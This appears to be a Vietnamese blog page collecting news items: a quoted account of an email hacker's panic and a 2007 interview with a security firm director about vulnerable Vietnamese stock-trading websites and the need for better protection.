Thủ phạm cũng bày tỏ nỗi lo ngại bị pháp luật sờ gáy trên diễn đàn: "Tôi có dùng máy chủ trung gian (proxy- nhằm xoá dấu vết), nhưng chỉ có đúng một cái. Nếu FBI sờ tay được vào proxy đó là "toi". Tôi thực sự hoảng hốt, tôi vẫn muốn trưng mọi thứ lên mạng nhưng không biết làm thế nào tải chúng lên được, vậy nên tôi đăng mật khẩu lên diễn đàn, sau đó xoá mọi thứ, rút dây Internet và ngồi đó... đờ đẫn!"

Vụ việc đang được cơ quan điều tra liên bang Mĩ FBI xem xét. Hiện tại, nghi phạm đầu tiên bị "điểm mặt chỉ tên" là David Kernell, con trai một quan chức bang Tennessee, là thành viên Đảng Dân chủ.

Hoàng Hải
Tổng hợp

Tài liệu An Ninh Mang Hacker

,

Hacker có thể thay đổi kết quả giao dịch chứng khoán

http://www.vnexpress.net/Vietnam/Kinh-doanh/2007/06/3B9F70C0/
Giám đốc Trung tâm an ninh mạng (BKIS) Nguyễn Tử Quảng gửi Ủy ban Chứng khoán Nhà nước khuyến cáo tình trạng nhiều trang web trong ngành có thể bị hacker lợi dụng chiếm quyền kiểm soát.
>Một nửa số website chứng khoán VN mắc lỗi nghiêm trọng

- Anh nhận xét gì về tình hình bảo mật của các trang web, hệ thống giao dịch của các công ty và cơ quan quản lý chứng khoán?

- Hồi tháng 4 chúng tôi có đưa ra một báo cáo về việc lỗ hổng tồn tại ở 12/22 trang web chứng khoán, dễ bị hacker lợi dụng chiếm quyền kiểm soát bất kỳ lúc nào. Nếu không được vá lỗi kịp thời, kẻ xấu có thể thay đổi kết quả giao dịch, sửa chỉ số chứng khoán, đưa thông tin thất thiệt. Tuy nhiên từ đó đến nay mới có 50% trang web được vá lỗi. Chúng tôi vừa gửi một công văn cho Ủy ban Chứng khoán Nhà nước về vấn đề này. Trong công văn nêu đích danh các công ty đã sửa lỗi và chưa sửa.

Khi thực hiện giao dịch qua mạng hay giao dịch qua điện thoại, nhà đầu tư phải cam kết chấp nhận mọi rủi ro. Trong trường hợp xảy ra các sự cố liên quan đến mạng, các công ty chứng khoán không chịu trách nhiệm hoặc có rất ít trách nhiệm về thiệt hại của khách hàng.
- Việc doanh nghiệp thờ ơ với bảo mật như vậy sẽ dẫn tới những hậu quả gì?

- Chúng tôi gọi đây là lỗi hệ thống, có nghĩa là doanh nghiệp không quan tâm tới vấn đề an ninh mạng đúng mức vì vậy nên lỗi có thể xảy ra ở nhiều điểm của hệ thống. Chẳng hạn, khi đưa một phần mềm vào hệ thống họ không yêu cầu nhà sản xuất phải đảm bảo các mã lệnh được an ninh an toàn, họ cũng không thuê tư vấn độc lập để tư vấn hay kiểm tra phần mềm khi đưa vào hệ thống... Hiện nay điểm yếu nhất của các công ty chứng khoán nằm ở website. Hacker có thể xâm nhập qua đường website rồi sau đó tiến vào các hệ thống khác, lợi dụng các lỗ hổng âm thầm thay đổi, tung tin sai hay lấy, sửa thông tin tài khoản của nhà đầu tư được quản lý trên đó. Nguy hiểm ở chỗ không thể xác định chính xác và nhanh được công ty nào bị hack trộm dữ liệu vì nếu muốn trục lợi hacker không dại gì đánh sập trang web để mọi người biết.

- Hiện chứng khoán chỉ giao dịch vào buổi sáng và qua nhiều cấp như môi giới nhận lệnh, nhập lệnh tại sàn... Tới đây giao dịch hoàn toàn qua mạng, vấn đề bảo mật có ý nghĩa thế nào?

- Một nguyên tắc cơ bản trong an ninh mạng là càng tiện lợi thì càng nhiều rủi ro và ngược lại. Vì thế nếu giao dịch chứng khoán thực hiện theo giờ nhất định và lệnh chuyển qua nhiều cấp thì an toàn hơn, tuy nhiên điều này kém thuận lợi cho nhà đầu tư. Chúng tôi nghĩ nếu những lỗi đã nêu không được khắc phục, sau này khớp lệnh liên tục, giao dịch hoàn toàn qua mạng thì sẽ rất nguy hiểm. Nhà đầu tư cũng khó nhận biết hệ thống của công ty nào đảm bảo, công ty nào không.

- Trường hợp có sự cố về an ninh mạng, hình thức xử phạt các hacker ra sao?

- Hiện nay hành lang pháp lý để xử lý loại tội phạm này đang còn rất thiếu, chủ yếu là phạt hành chính. Tôi được biết Bộ Tư Pháp và Bộ Công an đang tiến hành công tác sửa đổi luật để xử lý nghiêm minh hơn loại tội phạm này.

- Trong điều kiện hiện nay, các công ty chứng khoán cần làm gì?

- Đầu tư cho bảo mật không hề tốn kém, vấn đề là công ty chứng khoán cần quan tâm tới nó. Họ cần có có các nhà tư vấn chuyên nghiệp để sử dụng đúng cách các thiết bị đã có đưa ra quy trình vận hành. Với hạ tầng máy móc như các công ty chứng khoán hiện nay, họ hầu như không phải mua thêm thiết bị gì.

Về phía Ủy ban chứng khoán Nhà nước, trước mắt cơ quan này nên đưa ra khuyến cáo cho các công ty, sau này khi thị trường phát triển hơn thì các công ty chứng khoán phải có chứng chỉ đảm bảo an ninh mạng. Nhà đầu tư thấy doanh nghiệp nào có chứng chỉ thì có thể tin được. Về lâu dài, tôi cho rằng có thể phải đặt vấn đề an ninh mạng thành điều kiện được phép kinh doanh chứng khoán.
Hồi tháng 3, Ủy ban Chứng khoán Mỹ đã phong tỏa một loạt tài khoản với tổng giá trị lên đến 732.941 USD. Chủ những tài khoản này bị nghi ngờ tấn công vào cơ sở dữ liệu của 7 công ty môi giới chứng khoán online, ăn cắp tên và mật khẩu một số tài khoản. Từ đó, chúng đặt lệnh bán toàn bộ những cổ phiếu blue-chip trong danh mục đầu tư của những tài khoản bị tấn công này. Cũng từ những tài khoản này, chúng đặt lệnh mua những cổ phiếu giá rẻ với khối lượng lớn, tạo cầu ảo, định hướng sai lệch thị trường và trục lợi.
Download Opera, the fastest and most secure browser
December 2009
S M T W T F S
November 2009January 2010
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31